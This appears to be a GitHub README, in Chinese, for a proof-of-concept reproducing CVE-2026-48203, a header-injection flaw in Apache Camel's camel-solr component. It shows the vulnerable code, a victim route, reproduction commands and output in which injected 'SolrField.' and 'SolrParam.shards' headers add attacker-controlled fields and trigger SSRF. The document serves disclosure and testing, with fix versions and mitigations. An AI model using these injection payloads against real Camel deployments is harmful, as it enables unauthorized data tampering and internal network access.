oscerd/CVE-2026-48203

GitHub: oscerd/CVE-2026-48203

CVE-2026-48203 概念验证项目,复现了 Apache Camel camel-solr 组件中因 header 前缀过滤缺陷导致的 Solr 文档字段注入与 SSRF 漏洞。

Stars: 0 | Forks: 0

# camel-solr `SolrParam.` / `SolrField.` Header 注入复现器 (CVE-2026-48203) 本项目演示了 Apache Camel 的 `camel-solr` 组件中的一个**消息头注入**漏洞,编号为 **CVE-2026-48203**。生产者会将名称以 **`SolrParam.`** 开头的 Exchange header 复制到 Solr 请求的参数中,并将名称以 **`SolrField.`** 开头的 header 复制到被索引的 Solr 文档的字段中。前缀常量(`SolrConstants.HEADER_PARAM_PREFIX` / `HEADER_FIELD_PREFIX`)是纯 字符串 `SolrParam.` / `SolrField.`。由于这些名称不以 `Camel` / `camel` 前缀开头, `HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界拦截 Camel header 命名空间 —— 允许它们从 入站 HTTP 请求直接进入 Exchange。 此 PoC 演示了两种影响: 1. **文档字段注入 (CWE-74)** — 注入的 `SolrField.injected_role_s` 会向索引文档添加路由作者从未打算过的、由攻击者控制的 字段。 2. **服务端请求伪造 (CWE-918)** — 注入的 `SolrParam.shards` 会使 Solr 服务器向攻击者指定的 URL(例如内部服务或云元数据 端点)发出分布式查询请求。 安全通告:https://camel.apache.org/security/CVE-2026-48203.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-solr` | | **受影响类** | `org.apache.camel.component.solr.SolrProducer` / `SolrRequestConverter`(前缀 `SolrParam.` / `SolrField.`) | | **CWE** | CWE-20 → CWE-74(字段注入)和 CWE-918(SSRF) | | **影响** | 注入任意 Solr 请求参数(`shards`/`stream.url` → SSRF,`qt` → 管理处理器)和任意索引文档字段 | | **前置条件** | 路由将 HTTP consumer 桥接到 `solr:` producer;当 consumer 未认证时即为未认证状态 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23597 (PR [apache/camel#23410](https://github.com/apache/camel/pull/23410)) | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // SolrConstants (affected 4.18.2) — the prefixes are bare, non-Camel-prefixed strings: String HEADER_FIELD_PREFIX = "SolrField."; String HEADER_PARAM_PREFIX = "SolrParam."; // SolrProducer / SolrRequestConverter — inbound headers with those prefixes are folded into the request: message.getHeaders().entrySet().stream() .filter(e -> e.getKey().startsWith(SolrConstants.HEADER_PARAM_PREFIX)) // -> Solr request params .forEach(e -> modifiableSolrParams.add(e.getKey().substring(10), e.getValue().toString())); // ... and SolrField.* headers are merged into the indexed SolrInputDocument. ``` 修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23597)将这些值重命名为 `CamelSolrParam.` / `CamelSolrField.`。 ## 受害路由 ``` from("netty-http:http://0.0.0.0:8090/index") .setHeader("CamelSolrOperation", constant("INSERT")) .process(/* build a fixed {id, content_txt} document */) .to("solr:solr:8983/solr/mycore?autoCommit=true"); ``` 路由作者固定了文档字段和搜索查询;注入的 `SolrField.*` / `SolrParam.*` header 搭乘在 HTTP 请求中进入系统。 ## 仓库结构 ``` CVE-2026-48203/ ├── pom.xml # camel-netty-http + camel-solr 4.18.2 (Netty pinned to 4.1.132) ├── Dockerfile ├── docker-compose.yml # solr 9.6 + the app ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── SolrSettings.java # host / core / doc id / URLs │ ├── SolrReadiness.java # waits for the Solr core before serving │ ├── VictimRoute.java # netty-http:/index and /search -> solr producer │ ├── RawSsrfListener.java # internal TCP listener that records Solr's SSRF connection │ └── ExploitController.java # attacker: SolrField.* and SolrParam.* header injection └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose(用于运行 Solr 和应用) - Java 17+ 和 Maven 3.8+(用于构建 jar 包) ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build # first start pulls the ~1GB solr image # 等待 app 日志行 "Started Application",然后: curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` === 1) Legitimate index (no SolrField.* header) === indexed doc: "docs":[{ "content_txt":["a normal note"], "id":"user-note-1", ... }] contains injected field: false === 2) Injected SolrField.injected_role_s=admin-INJECTED === indexed doc: "docs":[{ "content_txt":["attacker note"], "id":"user-note-1", "injected_role_s":"admin-INJECTED", ... }] document-field injection: true === 3) Injected SolrParam.shards=app:8091/ssrf/mycore (SSRF) === Solr opened a server-side connection to the internal listener: true captured request line: PRI * HTTP/2.0 >>> Header-injection proof — an unauthenticated HTTP client injected a document field (true) and a Solr request >>> parameter driving SSRF (true) via SolrField.* / SolrParam.* headers. ``` ## 推荐修复方案 升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23597)。升级后,通过原始前缀设置 Solr 参数或字段的路由 必须使用 `CamelSolrParam.` / `CamelSolrField.`。 ## 缓解措施 在升级之前,请在 `solr:` producer 之前剥离任何不受信任的入口中的 `SolrParam.*` 和 `SolrField.*` header,并在路由中从受信任的源设置所需的 Solr 参数和字段。 ## 免责声明 此复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的 漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, Maven, PoC, Solr, SSRF, 域名枚举, 头部注入, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 请求拦截